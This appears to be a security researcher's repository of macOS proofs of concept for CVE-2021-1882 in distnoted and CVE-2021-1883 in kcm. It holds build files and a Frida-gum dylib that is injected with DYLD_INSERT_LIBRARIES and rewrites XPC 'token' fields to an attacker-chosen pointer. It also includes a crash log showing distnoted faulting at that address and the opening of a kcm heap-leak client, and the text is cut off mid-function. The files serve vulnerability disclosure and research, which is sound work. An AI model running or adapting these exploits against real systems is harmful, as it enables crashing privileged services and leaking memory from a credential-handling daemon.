├── CVE-2021-1882-distnoted ├── Makefile ├── NotificationsTest.m ├── details.pdf ├── distnoted_2021-01-04-003814-1_Gabes-MacBook-Pro.crash ├── frida-gum.h ├── libfrida-gum.a ├── run_poc.sh └── xpc_distnoted_poc.c ├── CVE-2021-1883-kcm ├── Makefile ├── details.pdf ├── details_leak.pdf ├── heap_leak.c └── kcm_poc.c ├── CVE-2021-1884-kcm ├── Makefile ├── details_uaf.pdf └── kcm_uaf.c └── README.md /CVE-2021-1882-distnoted/Makefile: -------------------------------------------------------------------------------- 1 | # the compiler to use 2 | CC = clang 3 | 4 | # compiler flags: 5 | # -g adds debugging information to the executable file 6 | # -Wall turns on most, but not all, compiler warnings 7 | CFLAGS = -Wall -Os -pipe -g3 -Wl,-dead_strip -Wl,-no_compact_unwind 8 | #-g -Wall 9 | 10 | #files to link: 11 | LFLAGS = -lfrida-gum -lresolv -lSystem 12 | 13 | #dirs to include 14 | INC = -Iks/ -I. 15 | 16 | # the name to use for both the target source file, and the output file: 17 | TARGET = xpc_poc 18 | 19 | OBJ_DIR = obj 20 | BIN_DIR = bin 21 | 22 | DIRS = $(BIN_DIR) $(OBJ_DIR) 23 | 24 | $(shell mkdir -p $(DIRS)) 25 | 26 | all: xpc_distnoted_poc notifications_test 27 | 28 | xpc_distnoted_poc: xpc_distnoted_poc.o 29 | $(CC) -dynamiclib $(CFLAGS) $(INC) -o $(BIN_DIR)/xpc_distnoted_poc.dylib $(OBJ_DIR)/xpc_distnoted_poc.o -L. $(LFLAGS) 30 | 31 | xpc_distnoted_poc.o: xpc_distnoted_poc.c 32 | $(CC) $(CFLAGS) $(INC) -c xpc_distnoted_poc.c -o $(OBJ_DIR)/xpc_distnoted_poc.o 33 | 34 | notifications_test: 35 | $(CC) NotificationsTest.m -framework Foundation -o $(BIN_DIR)/NotificationsTest 36 | -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/NotificationsTest.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // NotificationsTest 4 | // 5 | // Created by Gabe on 1/3/21. 6 | // 7 | 8 | #import 9 | 10 | 11 | @interface CoolNotification : NSObject 12 | - (void)listenForEventName; 13 | @end 14 | 15 | @implementation CoolNotification 16 | 17 | - (void)listenForEventName 18 | { 19 | NSDistributedNotificationCenter *nc = [NSDistributedNotificationCenter defaultCenter]; 20 | while(true) 21 | { 22 | [nc addObserver:self selector:@selector(omniNotificationReceived:) name:@"com.apple.HIToolbox.endMenuTrackingNotification" object:nil]; 23 | [nc removeObserver:self name:@"com.apple.HIToolbox.endMenuTrackingNotification" object:nil]; 24 | } 25 | } 26 | 27 | - (void)omniNotificationReceived:(NSNotification *)notification 28 | { 29 | NSLog(@"%@", notification.name); 30 | if(notification.object) 31 | NSLog(@"object(%@): %@", NSStringFromClass([notification.object class]), notification.object); 32 | if(notification.userInfo) 33 | NSLog(@"%@", notification.userInfo); 34 | } 35 | @end 36 | 37 | int main(int argc, const char * argv[]) { 38 | NSLog(@"Jello, World!"); 39 | __unused CoolNotification *cool = [[CoolNotification alloc] init]; 40 | [cool listenForEventName]; 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/details.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Peterpan0927/pocs/6010b1c5ce96889086b4fb3c8363dbdd8464ce5f/CVE-2021-1882-distnoted/details.pdf -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/distnoted_2021-01-04-003814-1_Gabes-MacBook-Pro.crash: -------------------------------------------------------------------------------- 1 | Process: distnoted [12482] 2 | Path: /usr/sbin/distnoted 3 | Identifier: distnoted 4 | Version: 1770.300 5 | Code Type: X86-64 (Native) 6 | Parent Process: ??? [1] 7 | Responsible: distnoted [12482] 8 | User ID: 501 9 | 10 | Date/Time: 2021-01-04 00:38:14.029 -0800 11 | OS Version: macOS 11.1 (20C69) 12 | Report Version: 12 13 | Bridge OS Version: 3.0 (14Y908) 14 | Anonymous UUID: 26BB00FC-68DF-49D7-DF5F-0E2C60D16F8E 15 | 16 | Sleep/Wake UUID: 56F26433-0A10-4A42-847C-C62415E1ADBC 17 | 18 | Time Awake Since Boot: 52000 seconds 19 | Time Since Wake: 15000 seconds 20 | 21 | System Integrity Protection: disabled 22 | 23 | Crashed Thread: 1 Dispatch queue: _NSDNXPCConnection 24 | 25 | Exception Type: EXC_BAD_ACCESS (SIGSEGV) 26 | Exception Codes: KERN_INVALID_ADDRESS at 0x0000414141414144 27 | Exception Note: EXC_CORPSE_NOTIFY 28 | 29 | Termination Signal: Segmentation fault: 11 30 | Termination Reason: Namespace SIGNAL, Code 0xb 31 | Terminating Process: exc handler [12482] 32 | 33 | VM Regions Near 0x414141414144: 34 | __LINKEDIT 11192a000-11192e000 [ 16K] r--/r-- SM=NUL /usr/lib/dyld 35 | --> 36 | STACK GUARD 700008022000-700008023000 [ 4K] ---/rwx SM=NUL stack guard for thread 1 37 | 38 | Application Specific Information: 39 | dyld3 mode 40 | 41 | Thread 0:: Dispatch queue: com.apple.main-thread 42 | 0 libsystem_kernel.dylib 0x00007fff202f3e7e mach_msg_trap + 10 43 | 1 libsystem_kernel.dylib 0x00007fff202f41f0 mach_msg + 60 44 | 2 com.apple.CoreFoundation 0x00007fff20420bf7 __CFRunLoopServiceMachPort + 316 45 | 3 com.apple.CoreFoundation 0x00007fff2041f2ca __CFRunLoopRun + 1315 46 | 4 com.apple.CoreFoundation 0x00007fff2041e6ce CFRunLoopRunSpecific + 563 47 | 5 com.apple.CoreFoundation 0x00007fff204a4cc9 CFRunLoopRun + 40 48 | 6 distnoted 0x000000010b2f2d2d 0x10b2eb000 + 32045 49 | 7 libdyld.dylib 0x00007fff20343621 start + 1 50 | 51 | Thread 1 Crashed:: Dispatch queue: _NSDNXPCConnection 52 | 0 libobjc.A.dylib 0x00007fff201c7c62 object_getClass + 21 53 | 1 libxpc.dylib 0x00007fff2006c319 xpc_connection_send_message + 21 54 | 2 com.apple.CoreFoundation 0x00007fff2052cecb _CFXNotificationRegistrarRecycleObserverRegistration + 316 55 | 3 com.apple.CoreFoundation 0x00007fff2052a9f0 _CFXNotificationRegistrarInvalidateObserver + 290 56 | 4 com.apple.CoreFoundation 0x00007fff2052c596 CFXNotificationRegistrarRemoveRemoteToken + 126 57 | 5 distnoted 0x000000010b2f1543 0x10b2eb000 + 25923 58 | 6 libxpc.dylib 0x00007fff2006c17a xpc_array_apply + 62 59 | 7 distnoted 0x000000010b2f0f51 0x10b2eb000 + 24401 60 | 8 distnoted 0x000000010b2f397a 0x10b2eb000 + 35194 61 | 9 libxpc.dylib 0x00007fff2006cc28 _xpc_connection_call_event_handler + 56 62 | 10 libxpc.dylib 0x00007fff2006ba9c _xpc_connection_mach_event + 935 63 | 11 libdispatch.dylib 0x00007fff2017d867 _dispatch_client_callout4 + 9 64 | 12 libdispatch.dylib 0x00007fff20194a47 _dispatch_mach_msg_invoke + 441 65 | 13 libdispatch.dylib 0x00007fff201834a7 _dispatch_lane_serial_drain + 263 66 | 14 libdispatch.dylib 0x00007fff201955b8 _dispatch_mach_invoke + 498 67 | 15 libdispatch.dylib 0x00007fff201834a7 _dispatch_lane_serial_drain + 263 68 | 16 libdispatch.dylib 0x00007fff201840fe _dispatch_lane_invoke + 426 69 | 17 libdispatch.dylib 0x00007fff2018534d _dispatch_workloop_invoke + 1799 70 | 18 libdispatch.dylib 0x00007fff2018dc5d _dispatch_workloop_worker_thread + 819 71 | 19 libsystem_pthread.dylib 0x00007fff20325499 _pthread_wqthread + 314 72 | 20 libsystem_pthread.dylib 0x00007fff20324467 start_wqthread + 15 73 | 74 | Thread 1 crashed with X86 Thread State (64-bit): 75 | rax: 0x00007ffffffffff8 rbx: 0x00007fee9340a400 rcx: 0x0000000000000000 rdx: 0x0000000000002803 76 | rdi: 0x0000414141414144 rsi: 0x00007fee9340a400 rbp: 0x00007000080a2190 rsp: 0x00007000080a2168 77 | r8: 0x0000000000000000 r9: 0x0000000000000647 r10: 0x00000000ffffff9f r11: 0xffffffef72cac1fa 78 | r12: 0x00007fee9340a2c0 r13: 0x00007fee934089f0 r14: 0x0000414141414144 r15: 0x00007fee9340a400 79 | rip: 0x00007fff201c7c62 rfl: 0x0000000000010246 cr2: 0x0000414141414144 80 | 81 | Logical CPU: 2 82 | Error Code: 0x00000004 (no mapping for user data read) 83 | Trap Number: 14 84 | 85 | Thread 1 instruction stream: 86 | 3f 49 c1 e4 06 48 8d 3d-b2 91 79 68 65 8b 04 25 ?I...H.=..yhe..% 87 | 18 00 00 00 31 c9 f0 41-0f b1 0c 3c 74 12 4c 01 ....1..A................. 97 | 90 90 90 90 90 90 90 90-90 90 90 90 48 b8 f8 ff ............H... 98 | 99 | Thread 1 last branch register state not available. 100 | 101 | 102 | Binary Images: 103 | 0x10b2eb000 - 0x10b2f6fff distnoted (1770.300) /usr/sbin/distnoted 104 | 0x111816000 - 0x1118b1fff dyld (832.7.1) /usr/lib/dyld 105 | 0x7fff2005e000 - 0x7fff2005ffff libsystem_blocks.dylib (78) <9CF131C6-16FB-3DD0-B046-9E0B6AB99935> /usr/lib/system/libsystem_blocks.dylib 106 | 0x7fff20060000 - 0x7fff20095fff libxpc.dylib (2038.40.38) <003A027D-9CE3-3794-A319-88495844662D> /usr/lib/system/libxpc.dylib 107 | 0x7fff20096000 - 0x7fff200adfff libsystem_trace.dylib (1277.50.1) <48C14376-626E-3C81-B0F5-7416E64580C7> /usr/lib/system/libsystem_trace.dylib 108 | 0x7fff200ae000 - 0x7fff2014cfff libcorecrypto.dylib (1000.60.19) <92F0211E-506E-3760-A3C2-808BF3905C07> /usr/lib/system/libcorecrypto.dylib 109 | 0x7fff2014d000 - 0x7fff20179fff libsystem_malloc.dylib (317.40.8) <2EF43B96-90FB-3C50-B73E-035238504E33> /usr/lib/system/libsystem_malloc.dylib 110 | 0x7fff2017a000 - 0x7fff201befff libdispatch.dylib (1271.40.12) /usr/lib/system/libdispatch.dylib 111 | 0x7fff201bf000 - 0x7fff201f7fff libobjc.A.dylib (818.2) <45EA2DE2-B612-3486-B156-2359CE279159> /usr/lib/libobjc.A.dylib 112 | 0x7fff201f8000 - 0x7fff201fafff libsystem_featureflags.dylib (28.60.1) <7B4EBDDB-244E-3F78-8895-566FE22288F3> /usr/lib/system/libsystem_featureflags.dylib 113 | 0x7fff201fb000 - 0x7fff20283fff libsystem_c.dylib (1439.40.11) <06D9F593-C815-385D-957F-2B5BCC223A8A> /usr/lib/system/libsystem_c.dylib 114 | 0x7fff20284000 - 0x7fff202d9fff libc++.1.dylib (904.4) /usr/lib/libc++.1.dylib 115 | 0x7fff202da000 - 0x7fff202f2fff libc++abi.dylib (904.4) /usr/lib/libc++abi.dylib 116 | 0x7fff202f3000 - 0x7fff20321fff libsystem_kernel.dylib (7195.60.75) <4BD61365-29AF-3234-8002-D989D295FDBB> /usr/lib/system/libsystem_kernel.dylib 117 | 0x7fff20322000 - 0x7fff2032dfff libsystem_pthread.dylib (454.60.1) <8DD3A0BC-2C92-31E3-BBAB-CE923A4342E4> /usr/lib/system/libsystem_pthread.dylib 118 | 0x7fff2032e000 - 0x7fff20368fff libdyld.dylib (832.7.1) <2F8A14F5-7CB8-3EDD-85EA-7FA960BBC04E> /usr/lib/system/libdyld.dylib 119 | 0x7fff20369000 - 0x7fff20372fff libsystem_platform.dylib (254.60.1) <3F7F6461-7B5C-3197-ACD7-C8A0CFCC6F55> /usr/lib/system/libsystem_platform.dylib 120 | 0x7fff20373000 - 0x7fff2039efff libsystem_info.dylib (542.40.3) <0979757C-5F0D-3F5A-9E0E-EBF234B310AF> /usr/lib/system/libsystem_info.dylib 121 | 0x7fff2039f000 - 0x7fff2083afff com.apple.CoreFoundation (6.9 - 1770.300) /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation 122 | 0x7fff22529000 - 0x7fff2278afff libicucore.A.dylib (66109) <6C0A0196-2778-3035-81CE-7CA48D6C0628> /usr/lib/libicucore.A.dylib 123 | 0x7fff2278b000 - 0x7fff22794fff libsystem_darwin.dylib (1439.40.11) /usr/lib/system/libsystem_darwin.dylib 124 | 0x7fff22ba5000 - 0x7fff22bb0fff libsystem_notify.dylib (279.40.4) <98D74EEF-60D9-3665-B877-7BE1558BA83E> /usr/lib/system/libsystem_notify.dylib 125 | 0x7fff22bb1000 - 0x7fff22bfcfff libsandbox.1.dylib (1441.60.4) <243C983D-0AEF-3A09-9489-CF1FC75925CC> /usr/lib/libsandbox.1.dylib 126 | 0x7fff24b00000 - 0x7fff24b0efff libsystem_networkextension.dylib (1295.60.5) /usr/lib/system/libsystem_networkextension.dylib 127 | 0x7fff24b6c000 - 0x7fff24b82fff libsystem_asl.dylib (385) <940C5BB9-4928-3A63-97F2-132797C8B7E5> /usr/lib/system/libsystem_asl.dylib 128 | 0x7fff2626a000 - 0x7fff26271fff libsystem_symptoms.dylib (1431.60.1) <88F35AAC-746F-3176-81DF-49CE3D285636> /usr/lib/system/libsystem_symptoms.dylib 129 | 0x7fff282bc000 - 0x7fff282ccfff libsystem_containermanager.dylib (318.60.1) <4ED09A19-04CC-3464-9EFB-F674932020B5> /usr/lib/system/libsystem_containermanager.dylib 130 | 0x7fff28fc8000 - 0x7fff28fcbfff libsystem_configuration.dylib (1109.60.2) /usr/lib/system/libsystem_configuration.dylib 131 | 0x7fff28fcc000 - 0x7fff28fd0fff libsystem_sandbox.dylib (1441.60.4) <8CE27199-D633-31D2-AB08-56380A1DA9FB> /usr/lib/system/libsystem_sandbox.dylib 132 | 0x7fff29cd3000 - 0x7fff29cd5fff libquarantine.dylib (119.40.2) <19D42B9D-3336-3543-AF75-6E605EA31599> /usr/lib/system/libquarantine.dylib 133 | 0x7fff2a254000 - 0x7fff2a258fff libsystem_coreservices.dylib (127) /usr/lib/system/libsystem_coreservices.dylib 134 | 0x7fff2a46f000 - 0x7fff2a4b6fff libsystem_m.dylib (3186.40.2) <79820D9E-0FF1-3F20-AF4F-F87EE20CE8C9> /usr/lib/system/libsystem_m.dylib 135 | 0x7fff2a4b8000 - 0x7fff2a4bdfff libmacho.dylib (973.4) <28AE1649-22ED-3C4D-A232-29D37F821C39> /usr/lib/system/libmacho.dylib 136 | 0x7fff2a4da000 - 0x7fff2a4e5fff libcommonCrypto.dylib (60178.40.2) <1D0A75A5-DEC5-39C6-AB3D-E789B8866712> /usr/lib/system/libcommonCrypto.dylib 137 | 0x7fff2a4e6000 - 0x7fff2a4f0fff libunwind.dylib (200.10) /usr/lib/system/libunwind.dylib 138 | 0x7fff2a4f1000 - 0x7fff2a4f8fff liboah.dylib (203.13.2) /usr/lib/liboah.dylib 139 | 0x7fff2a4f9000 - 0x7fff2a503fff libcopyfile.dylib (173.40.2) <89483CD4-DA46-3AF2-AE78-FC37CED05ACC> /usr/lib/system/libcopyfile.dylib 140 | 0x7fff2a504000 - 0x7fff2a50bfff libcompiler_rt.dylib (102.2) <0DB26EC8-B4CD-3268-B865-C2FC07E4D2AA> /usr/lib/system/libcompiler_rt.dylib 141 | 0x7fff2a50c000 - 0x7fff2a50efff libsystem_collections.dylib (1439.40.11) /usr/lib/system/libsystem_collections.dylib 142 | 0x7fff2a50f000 - 0x7fff2a511fff libsystem_secinit.dylib (87.60.1) <99B5FD99-1A8B-37C1-BD70-04990FA33B1C> /usr/lib/system/libsystem_secinit.dylib 143 | 0x7fff2a512000 - 0x7fff2a514fff libremovefile.dylib (49.40.3) <750012C2-7097-33C3-B796-2766E6CDE8C1> /usr/lib/system/libremovefile.dylib 144 | 0x7fff2a515000 - 0x7fff2a515fff libkeymgr.dylib (31) <2C7B58B0-BE54-3A50-B399-AA49C19083A9> /usr/lib/system/libkeymgr.dylib 145 | 0x7fff2a516000 - 0x7fff2a51dfff libsystem_dnssd.dylib (1310.60.4) <81EFC44D-450E-3AA3-AC8F-D7EF68F464B4> /usr/lib/system/libsystem_dnssd.dylib 146 | 0x7fff2a51e000 - 0x7fff2a523fff libcache.dylib (83) <2F7F7303-DB23-359E-85CD-8B2F93223E2A> /usr/lib/system/libcache.dylib 147 | 0x7fff2a524000 - 0x7fff2a525fff libSystem.B.dylib (1292.60.1) /usr/lib/libSystem.B.dylib 148 | 0x7fff2a526000 - 0x7fff2a529fff libfakelink.dylib (3) <34B6DC95-E19A-37C0-B9D0-558F692D85F5> /usr/lib/libfakelink.dylib 149 | 0x7fff2a52a000 - 0x7fff2a52afff com.apple.SoftLinking (1.0 - 1) <90D679B3-DFFD-3604-B89F-1BCF70B3EBA4> /System/Library/PrivateFrameworks/SoftLinking.framework/Versions/A/SoftLinking 150 | 0x7fff2af7d000 - 0x7fff2af84fff libMatch.1.dylib (38) /usr/lib/libMatch.1.dylib 151 | 0x7fff2d957000 - 0x7fff2d957fff liblaunch.dylib (2038.40.38) <05A7EFDD-4111-3E4D-B668-239B69DE3D0F> /usr/lib/system/liblaunch.dylib 152 | 0x7fff2fe04000 - 0x7fff2fe04fff libsystem_product_info_filter.dylib (8.40.1) <7CCAF1A8-F570-341E-B275-0C80B092F8E0> /usr/lib/system/libsystem_product_info_filter.dylib 153 | 154 | External Modification Summary: 155 | Calls made by other processes targeting this process: 156 | task_for_pid: 0 157 | thread_create: 0 158 | thread_set_state: 0 159 | Calls made by this process: 160 | task_for_pid: 0 161 | thread_create: 0 162 | thread_set_state: 0 163 | Calls made by all processes on this machine: 164 | task_for_pid: 2058543 165 | thread_create: 0 166 | thread_set_state: 1853 167 | 168 | VM Region Summary: 169 | ReadOnly portion of Libraries: Total=501.6M resident=0K(0%) swapped_out_or_unallocated=501.6M(100%) 170 | Writable regions: Total=82.0M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=82.0M(100%) 171 | 172 | VIRTUAL REGION 173 | REGION TYPE SIZE COUNT (non-coalesced) 174 | =========== ======= ======= 175 | Activity Tracing 256K 1 176 | Dispatch continuations 64.0M 1 177 | Kernel Alloc Once 8K 1 178 | MALLOC 9260K 8 179 | MALLOC guard page 16K 4 180 | STACK GUARD 56.0M 2 181 | Stack 8712K 2 182 | VM_ALLOCATE 8K 2 183 | __DATA 478K 49 184 | __DATA_CONST 3047K 41 185 | __DATA_DIRTY 95K 24 186 | __LINKEDIT 489.4M 5 187 | __OBJC_RO 60.5M 1 188 | __OBJC_RW 2452K 2 189 | __TEXT 12.3M 52 190 | __UNICODE 588K 1 191 | mapped file 36K 1 192 | shared memory 8K 2 193 | =========== ======= ======= 194 | TOTAL 706.5M 199 195 | 196 | -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/libfrida-gum.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Peterpan0927/pocs/6010b1c5ce96889086b4fb3c8363dbdd8464ce5f/CVE-2021-1882-distnoted/libfrida-gum.a -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/run_poc.sh: -------------------------------------------------------------------------------- 1 | DYLD_INSERT_LIBRARIES=bin/xpc_distnoted_poc.dylib bin/NotificationsTest -------------------------------------------------------------------------------- /CVE-2021-1882-distnoted/xpc_distnoted_poc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Compile with: 3 | * 4 | * /Users/frida/Buildbot/frida-mac/build/build/frida-macos-x86_64-clang -fPIC -Wall -Os -pipe -g3 frida-gum-example.c -o frida-gum-example -L. -lfrida-gum -lresolv -lm -isysroot /Applications/Xcode-9.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.13.sdk -arch x86_64 -Wl,-dead_strip -L/Users/frida/Buildbot/frida-mac/build/build/frida-macos-x86_64/lib -L/Users/frida/Buildbot/frida-mac/build/build/sdk-macos-x86_64/lib 5 | * 6 | * Visit www.frida.re to learn more about Frida. 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | 22 | enum _ExampleHookId 23 | { 24 | XPC_CONN_SEND_MESSAGE_HOOK 25 | }; 26 | 27 | typedef struct _ExampleListener ExampleListener; 28 | typedef enum _ExampleHookId ExampleHookId; 29 | char* (*f_xpc_copy_description)(void*) = NULL; 30 | 31 | struct _ExampleListener 32 | { 33 | GObject parent; 34 | }; 35 | 36 | 37 | static void example_listener_iface_init (gpointer g_iface, gpointer iface_data); 38 | 39 | #define EXAMPLE_TYPE_LISTENER (example_listener_get_type ()) 40 | G_DECLARE_FINAL_TYPE (ExampleListener, example_listener, EXAMPLE, LISTENER, GObject) 41 | G_DEFINE_TYPE_EXTENDED (ExampleListener, 42 | example_listener, 43 | G_TYPE_OBJECT, 44 | 0, 45 | G_IMPLEMENT_INTERFACE (GUM_TYPE_INVOCATION_LISTENER, 46 | example_listener_iface_init)) 47 | 48 | __attribute__((constructor)) 49 | static void ctor(void) 50 | { 51 | GumInterceptor * interceptor; 52 | GumInvocationListener * listener; 53 | 54 | srand(time(NULL)); 55 | 56 | // Set up frida-gum hooks 57 | gum_init_embedded (); 58 | 59 | interceptor = gum_interceptor_obtain (); 60 | listener = (GumInvocationListener *)g_object_new (EXAMPLE_TYPE_LISTENER, NULL); 61 | 62 | GumAddress f_xpc_connection_send_message = gum_module_find_export_by_name(NULL, "xpc_connection_send_message"); 63 | 64 | gum_interceptor_begin_transaction (interceptor); 65 | 66 | gum_interceptor_attach (interceptor, 67 | GSIZE_TO_POINTER (f_xpc_connection_send_message), 68 | listener, 69 | GSIZE_TO_POINTER (XPC_CONN_SEND_MESSAGE_HOOK)); 70 | 71 | gum_interceptor_end_transaction (interceptor); 72 | } 73 | 74 | static void 75 | example_listener_on_enter (GumInvocationListener * listener, 76 | GumInvocationContext * ic) 77 | { 78 | ExampleListener * self = EXAMPLE_LISTENER (listener); 79 | ExampleHookId hook_id = GUM_IC_GET_FUNC_DATA (ic, ExampleHookId); 80 | char* conn_name = NULL; 81 | xpc_object_t cur_obj = NULL; 82 | xpc_connection_t cur_conn = NULL; 83 | 84 | switch (hook_id) 85 | { 86 | case XPC_CONN_SEND_MESSAGE_HOOK: 87 | cur_conn = (xpc_object_t)gum_invocation_context_get_nth_argument (ic, 0); 88 | conn_name = xpc_connection_get_name(cur_conn); 89 | 90 | 91 | if(conn_name != NULL && strcmp("com.apple.distributed_notifications@Uv3", conn_name) == 0) 92 | { 93 | cur_obj = (xpc_object_t)gum_invocation_context_get_nth_argument (ic, 1); 94 | 95 | if(xpc_dictionary_get_value(cur_obj, "options")) 96 | { 97 | xpc_dictionary_set_uint64(cur_obj, "options", 482162302); 98 | } 99 | 100 | if (xpc_dictionary_get_value(cur_obj, "token")) 101 | { 102 | uint64_t tok = 0x0000414141414144; 103 | xpc_dictionary_set_uint64(cur_obj, "token", tok); 104 | } 105 | 106 | xpc_object_t arr = xpc_dictionary_get_value(cur_obj, "tokens"); 107 | if(arr) 108 | { 109 | uint64_t tok2 = 0x0000414141414144; 110 | xpc_array_set_uint64(arr, 0, tok2); 111 | } 112 | } 113 | 114 | break; 115 | } 116 | } 117 | 118 | static void 119 | example_listener_on_leave (GumInvocationListener * listener, 120 | GumInvocationContext * ic) 121 | { 122 | } 123 | 124 | static void 125 | example_listener_class_init (ExampleListenerClass * klass) 126 | { 127 | (void) EXAMPLE_IS_LISTENER; 128 | (void) glib_autoptr_cleanup_ExampleListener; 129 | } 130 | 131 | static void 132 | example_listener_iface_init (gpointer g_iface, 133 | gpointer iface_data) 134 | { 135 | GumInvocationListenerInterface * iface = (GumInvocationListenerInterface *)g_iface; 136 | 137 | iface->on_enter = example_listener_on_enter; 138 | iface->on_leave = example_listener_on_leave; 139 | } 140 | 141 | static void 142 | example_listener_init (ExampleListener * self) 143 | { 144 | } 145 | -------------------------------------------------------------------------------- /CVE-2021-1883-kcm/Makefile: -------------------------------------------------------------------------------- 1 | # the compiler to use 2 | CC = clang 3 | 4 | MAC_SDK = $(shell xcrun --sdk macosx --show-sdk-path)/System/Library/PrivateFrameworks/ 5 | 6 | TARGET = kcm_poc 7 | 8 | all: kcm_poc heap_leak 9 | 10 | kcm_poc: 11 | $(CC) kcm_poc.c -F$(MAC_SDK) -framework Heimdal -o $(TARGET) 12 | 13 | heap_leak: heap_leak.c 14 | $(CC) heap_leak.c -F$(MAC_SDK) -framework Heimdal -o heap_leak 15 | -------------------------------------------------------------------------------- /CVE-2021-1883-kcm/details.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Peterpan0927/pocs/6010b1c5ce96889086b4fb3c8363dbdd8464ce5f/CVE-2021-1883-kcm/details.pdf -------------------------------------------------------------------------------- /CVE-2021-1883-kcm/details_leak.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Peterpan0927/pocs/6010b1c5ce96889086b4fb3c8363dbdd8464ce5f/CVE-2021-1883-kcm/details_leak.pdf -------------------------------------------------------------------------------- /CVE-2021-1883-kcm/heap_leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef enum kcm_operation { 5 | KCM_OP_NOOP, 6 | KCM_OP_GET_NAME, 7 | KCM_OP_RESOLVE, 8 | KCM_OP_DEPRECATED_GEN_NEW, 9 | KCM_OP_INITIALIZE, 10 | KCM_OP_DESTROY, 11 | KCM_OP_STORE, 12 | KCM_OP_RETRIEVE, 13 | KCM_OP_GET_PRINCIPAL, 14 | KCM_OP_GET_CRED_UUID_LIST, 15 | KCM_OP_GET_CRED_BY_UUID, 16 | KCM_OP_REMOVE_CRED, 17 | KCM_OP_SET_FLAGS, 18 | KCM_OP_CHOWN, 19 | KCM_OP_CHMOD, 20 | KCM_OP_GET_INITIAL_TICKET, 21 | KCM_OP_GET_TICKET, 22 | KCM_OP_MOVE_CACHE, 23 | KCM_OP_GET_CACHE_UUID_LIST, 24 | KCM_OP_GET_CACHE_BY_UUID, 25 | KCM_OP_GET_DEFAULT_CACHE, 26 | KCM_OP_SET_DEFAULT_CACHE, 27 | KCM_OP_GET_KDC_OFFSET, 28 | KCM_OP_SET_KDC_OFFSET, 29 | KCM_OP_RETAIN_KCRED, 30 | KCM_OP_RELEASE_KCRED, 31 | KCM_OP_GET_UUID, 32 | /* NTLM operations */ 33 | KCM_OP_ADD_NTLM_CRED, 34 | KCM_OP_HAVE_NTLM_CRED, 35 | KCM_OP_ADD_NTLM_CHALLENGE, 36 | KCM_OP_DO_NTLM_AUTH, 37 | KCM_OP_GET_NTLM_USER_LIST, 38 | /* SCRAM */ 39 | KCM_OP_ADD_SCRAM_CRED, 40 | KCM_OP_HAVE_SCRAM_CRED, 41 | KCM_OP_DEL_SCRAM_CRED, 42 | KCM_OP_DO_SCRAM_AUTH, 43 | KCM_OP_GET_SCRAM_USER_LIST, 44 | /* GENERIC */ 45 | KCM_OP_DESTROY_CRED, 46 | KCM_OP_RETAIN_CRED, 47 | KCM_OP_RELEASE_CRED, 48 | KCM_OP_CRED_LABEL_GET, 49 | KCM_OP_CRED_LABEL_SET, 50 | /* */ 51 | KCM_OP_CHECK_NTLM_CHALLENGE, 52 | KCM_OP_GET_CACHE_PRINCIPAL_LIST, 53 | KCM_OP_MAX 54 | } kcm_operation; 55 | 56 | typedef int32_t krb5_error_code; 57 | typedef unsigned char krb5_uuid[16]; 58 | 59 | struct heim_base_data { 60 | size_t length; 61 | void *data; 62 | }; 63 | 64 | typedef struct heim_base_data heim_octet_string; 65 | typedef heim_octet_string krb5_data; 66 | 67 | krb5_error_code krb5_init_context(void* context); 68 | krb5_error_code krb5_kcm_storage_request(void* context, uint16_t opcode, void** storage); 69 | krb5_error_code krb5_store_uuid(void* storage, krb5_uuid uuid); 70 | krb5_error_code krb5_store_int8(void* *storage, int8_t value); 71 | krb5_error_code krb5_store_int32(void* storage, int32_t len); 72 | krb5_error_code krb5_store_uint32(void* storage, uint32_t len); 73 | krb5_error_code krb5_store_stringz(void* storage, const char* str); 74 | krb5_error_code krb5_store_string(void* storage, const char* str); 75 | krb5_error_code krb5_store_data(void* storage, krb5_data data); 76 | krb5_error_code krb5_ret_uuid(void *storage, krb5_uuid uuid); 77 | krb5_error_code krb5_ret_int32(void *storage, int32_t *value); 78 | krb5_error_code krb5_ret_uint32(void *storage, uint32_t *value); 79 | krb5_error_code krb5_ret_stringz(void *storage, char **string); 80 | krb5_error_code krb5_ret_string(void *storage, char **string); 81 | krb5_error_code krb5_ret_data(void *storage, krb5_data *data); 82 | krb5_error_code krb5_kcm_call(void* context, void* request, void* response, krb5_data* response_data); 83 | 84 | void hexDump (const char * desc, const void * addr, const int len) { 85 | int i; 86 | unsigned char buff[17]; 87 | const unsigned char * pc = (const unsigned char *)addr; 88 | 89 | // Output description if given. 90 | 91 | if (desc != NULL) 92 | printf ("%s:\n", desc); 93 | 94 | // Length checks. 95 | 96 | if (len == 0) { 97 | printf(" ZERO LENGTH\n"); 98 | return; 99 | } 100 | else if (len < 0) { 101 | printf(" NEGATIVE LENGTH: %d\n", len); 102 | return; 103 | } 104 | 105 | // Process every byte in the data. 106 | 107 | for (i = 0; i < len; i++) { 108 | // Multiple of 16 means new line (with line offset). 109 | 110 | if ((i % 16) == 0) { 111 | // Don't print ASCII buffer for the "zeroth" line. 112 | 113 | if (i != 0) 114 | printf (" %s\n", buff); 115 | 116 | // Output the offset. 117 | 118 | printf (" %04x ", i); 119 | } 120 | 121 | // Now the hex code for the specific character. 122 | printf (" %02x", pc[i]); 123 | 124 | // And buffer a printable ASCII character for later. 125 | 126 | if ((pc[i] < 0x20) || (pc[i] > 0x7e)) // isprint() may be better. 127 | buff[i % 16] = '.'; 128 | else 129 | buff[i % 16] = pc[i]; 130 | buff[(i % 16) + 1] = '\0'; 131 | } 132 | 133 | // Pad out last line if not exactly 16 characters. 134 | 135 | while ((i % 16) != 0) { 136 | printf (" "); 137 | i++; 138 | } 139 | 140 | // And 